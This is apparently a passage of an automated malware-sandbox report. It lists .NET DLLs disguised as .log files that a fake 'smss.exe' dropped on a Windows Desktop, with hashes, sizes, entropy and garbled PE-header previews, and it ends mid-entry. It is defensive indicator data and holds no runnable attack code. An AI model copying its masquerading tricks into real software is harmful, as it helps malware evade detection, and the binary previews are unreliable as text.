                                                    MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                    SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                    SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                    SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\qVyWGScD.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):64000
                                                    Entropy (8bit):5.857602289000348
                                                    Encrypted:false
                                                    SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                    MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                    SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                    SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                    SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\qghUmdAy.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):23552
                                                    Entropy (8bit):5.519109060441589
                                                    Encrypted:false
                                                    SSDEEP:384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
                                                    MD5:0B2AFABFAF0DD55AD21AC76FBF03B8A0
                                                    SHA1:6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
                                                    SHA-256:DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
                                                    SHA-512:D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\qoQnRMbD.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):46592
                                                    Entropy (8bit):5.870612048031897
                                                    Encrypted:false
                                                    SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                    MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                    SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                    SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                    SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\rWqdbEib.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.629584586954759
                                                    Encrypted:false
                                                    SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                    MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                    SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                    SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                    SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\rulgoRcW.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):70144
                                                    Entropy (8bit):5.909536568846014
                                                    Encrypted:false
                                                    SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                    MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                    SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                    SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                    SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\sldNxkwh.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):36352
                                                    Entropy (8bit):5.668291349855899
                                                    Encrypted:false
                                                    SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                    MD5:94DA5073CCC14DCF4766DF6781485937
                                                    SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                    SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                    SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\sliWjwCr.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38400
                                                    Entropy (8bit):5.699005826018714
                                                    Encrypted:false
                                                    SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                    MD5:87765D141228784AE91334BAE25AD743
                                                    SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                    SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                    SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\szwGoBSX.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33792
                                                    Entropy (8bit):5.541771649974822
                                                    Encrypted:false
                                                    SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                    MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                    SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                    SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                    SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\tGemOfmw.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38400
                                                    Entropy (8bit):5.699005826018714
                                                    Encrypted:false
                                                    SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                    MD5:87765D141228784AE91334BAE25AD743
                                                    SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                    SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                    SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\tKswHRQQ.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.629584586954759
                                                    Encrypted:false
                                                    SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                    MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                    SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                    SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                    SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\tjfGpRQj.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.660491370279985
                                                    Encrypted:false
                                                    SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                    MD5:240E98D38E0B679F055470167D247022
                                                    SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                    SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                    SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\tnAOaONV.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):50176
                                                    Entropy (8bit):5.723168999026349
                                                    Encrypted:false
                                                    SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                    MD5:2E116FC64103D0F0CF47890FD571561E
                                                    SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                    SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                    SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\uOEfpyZu.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):69632
                                                    Entropy (8bit):5.932541123129161
                                                    Encrypted:false
                                                    SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                    MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                    SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                    SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                    SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                    C:\Users\user\Desktop\ubimtJqr.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):342528
                                                    Entropy (8bit):6.170134230759619
                                                    Encrypted:false
                                                    SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                    MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                    SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                    SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                    SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\ufLyEUTx.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.629584586954759
                                                    Encrypted:false
                                                    SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                    MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                    SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                    SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                    SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\ukcWvOcP.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.660491370279985
                                                    Encrypted:false
                                                    SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                    MD5:240E98D38E0B679F055470167D247022
                                                    SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                    SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                    SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\vLfoLyop.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):41472
                                                    Entropy (8bit):5.6808219961645605
                                                    Encrypted:false
                                                    SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                    MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                    SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                    SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                    SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\vMgUiAiU.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):41472
                                                    Entropy (8bit):5.6808219961645605
                                                    Encrypted:false
                                                    SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                    MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                    SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                    SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                    SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\vOqdYZaJ.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):70144
                                                    Entropy (8bit):5.909536568846014
                                                    Encrypted:false
                                                    SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                    MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                    SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                    SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                    SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\vbEWLcJT.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):126976
                                                    Entropy (8bit):6.057993947082715
                                                    Encrypted:false
                                                    SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                    MD5:16B480082780CC1D8C23FB05468F64E7
                                                    SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                    SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                    SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                    C:\Users\user\Desktop\vsffFOwm.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):41472
                                                    Entropy (8bit):5.6808219961645605
                                                    Encrypted:false
                                                    SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                    MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                    SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                    SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                    SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\vvYNOfbJ.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):342528
                                                    Entropy (8bit):6.170134230759619
                                                    Encrypted:false
                                                    SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                    MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                    SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
